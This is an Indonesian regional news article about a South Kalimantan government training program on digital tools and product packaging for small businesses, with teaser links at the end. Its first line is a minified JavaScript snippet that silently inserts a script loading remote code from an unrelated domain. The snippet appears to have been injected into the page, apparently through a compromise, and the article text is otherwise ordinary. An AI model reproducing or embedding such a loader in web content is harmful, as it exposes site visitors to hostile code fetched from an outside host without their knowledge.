(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Koperasi dan UKM Provinsi Kalimantan Selatan (Kalsel) terus berupaya meningkatkan daya saing pelaku Usaha Mikro Dan Kecil (UMK). Salah satu upaya dengan menggelar pelatihan peningkatan akses teknologi serta pelatihan desain dan pengemasan produk UKM.
Kepala Dinas Koperasi dan UKM Provinsi Kalsel diwakili Kepala Balai Pelatihan Koperasi, Yuliansyah mengatakan, pelatihan ini menjadi bagian dari komitmen pemerintah daerah dalam memberdayakan pelaku UMKM agar mampu beradaptasi dengan perkembangan teknologi dan tuntutan pasar global.
“Pelaku UMKM harus siap bertransformasi. Mereka perlu memahami digitalisasi dalam pengelolaan usaha, keuangan, hingga strategi pemasaran agar usahanya tidak hanya bertahan, tetapi juga tumbuh dan naik kelas,” ujarnya, Selasa (7/10/2025).
Baca juga: Kalsel Surplus Daging dan Telur Ayam Ras pada September
Pelatihan diikuti oleh 60 peserta, terdiri dari pelaku UMK se-Kalsel, 30 orang pada pelatihan peningkatan akses teknologi dan 30 orang pada pelatihan desain dan pengemasan produk, berlangsung di Balai Pelatihan Koperasi Kalsel, Banjarbaru, 7–10 Oktober 2025.
Pelatihan ini tidak hanya berfokus pada penguatan aspek teknologi dan keuangan digital, tetapi juga memberikan pemahaman tentang pentingnya kemasan dan desain produk yang menarik untuk meningkatkan nilai jual.
“Kemasan yang baik bukan hanya memperindah tampilan produk, tetapi juga menjadi identitas dan daya tarik tersendiri yang membedakan produk UMKM kita di pasar yang semakin kompetitif,” tambahnya.
Baca juga: Ini Harga Rempah-rempah dan Bawang di Pasar Martapura
Melalui kegiatan ini, para peserta diharapkan mampu memanfaatkan teknologi digital untuk efisiensi usaha, memahami aplikasi pembukuan dan sistem pembayaran digital (seperti QRIS dan e-wallet), serta mampu membuat desain kemasan dan merek yang menarik dan memiliki nilai jual tinggi.
“Kami berharap setelah pelatihan ini, para pelaku UMKM mampu mengaplikasikan pengetahuan yang diperoleh sehingga dapat memperluas pasar, meningkatkan omzet, dan memperkuat ketahanan usahanya,” tutupnya. (Kanalkalimantan.com/mckalsel)
Reporter: mckalsel
Editor: kk
KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Di bawah kilauan lampion dan lilin yang berjejer rapi, ratusan warga Tionghoa… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More
KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More
This website uses cookies.